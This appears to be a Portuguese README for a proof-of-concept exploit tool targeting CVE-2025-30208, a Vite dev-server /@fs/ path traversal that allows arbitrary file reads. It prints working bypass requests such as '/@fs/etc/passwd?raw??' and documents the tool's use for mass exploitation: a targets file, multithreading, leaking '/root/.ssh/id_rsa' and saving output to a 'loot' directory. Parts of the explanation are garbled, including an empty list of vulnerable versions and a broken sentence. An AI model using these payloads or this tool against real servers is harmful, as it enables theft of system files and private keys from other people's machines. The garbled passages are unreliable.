
Um PoC do script de exploit para a vulnerabilidade de leitura arbitrária de arquivos do Path Traversal /@fs/ do Vite no transformMiddleware (CVE-2025-30208).
Um PoC do script de exploração para a vulnerabilidade de Leitura Arbitrária de Arquivos do Vite /@fs/ Path Traversal em transformMiddleware (CVE-2025-30208). Uma análise detalhada pode ser consultada neste post.
Vulnerável nas versões anteriores a:
Vite é um projeto popular de código aberto que pode ser obtido no Github e em seu site oficial. Ele usa um prefixo especial, @fs, para permitir acesso direto a caminhos de arquivo absolutos no modo de desenvolvimento:
GET /@fs/<absolute/path/to/file>
Mas para prevenir abusos, o Vite limita o que pode ser acessado através de @fs usando uma configuração como:
server: {
fs: {
allow: [path.resolve(__dirname, 'src')]
}
}
Então, em teoria, arquivos fora do diretório permitido (como /etc/passwd) devem ser bloqueados — mesmo que alguém tente usar truques como ../../../.
No entanto, a falha reside em como o Vite analisa e verifica URLs (através do middleware/função transformMiddleware). O middleware/função usa ensureServingAccess(url, ...) para verificar se uma requisição de arquivo via /@fs/ era permitida.
No entanto, um atacante poderia criar uma requisição com separadores de consulta à direita na URL como:
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?raw&url
GET /@fs/etc/passwd?import&raw??
Essas formas contornariam os filtros de expressão regular (rawRE, urlRE) e as verificações de segurança devido à string de consulta malformada ainda corresponder à lógica de rota. O que está acontecendo:
/@fs/../../../etc/passwdraw?? (malformada propositalmente)?, e isso é feito antes de verificar se o caminho do arquivo é permitido.Isso significa:
server.fs.allow./etc/passwd, se existirem.python3 poc.py [OPTIONS]
| Flag / Opção | Descrição |
|---|---|
-u, --url | URL de alvo único (ex.: example.com:5173) |
-f, --file | Arquivo com lista de alvos (uma URL por linha) |
-p, --path | Caminho do sistema de arquivos para ler (padrão: /etc/passwd) |
-b, --bypass | String de consulta para contornar a validação de rota (padrão: ?raw??) |
--proxy | URL do proxy (ex.: http://127.0.0.1:8080) |
-o, --output | Diretório de saída para salvar resultados de exploração (padrão: results) |
-t, --threads | Número de threads para modo em lote (padrão: 10) |
-h, --help | Mostra mensagem de ajuda e sai |
Exploração de alvo único:
python3 cve-2025-30208.py -u example.com:5173
Alvo único com caminho LFI personalizado para vazar o arquivo que desejamos:
python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'
Exploração em lote com múltiplos alvos:
python3 cve-2025-30208.py -f targets.txt
Consulta de contorno personalizada:
python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"
Usando um proxy (ex.: Burp Suite):
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080
Diretório de saída personalizado:
python3 cve-2025-30208.py -u example.com:5173 -o ./loot
Aumentar o número de threads no modo em lote:
python3 cve-2025-30208.py -f targets.txt -t 50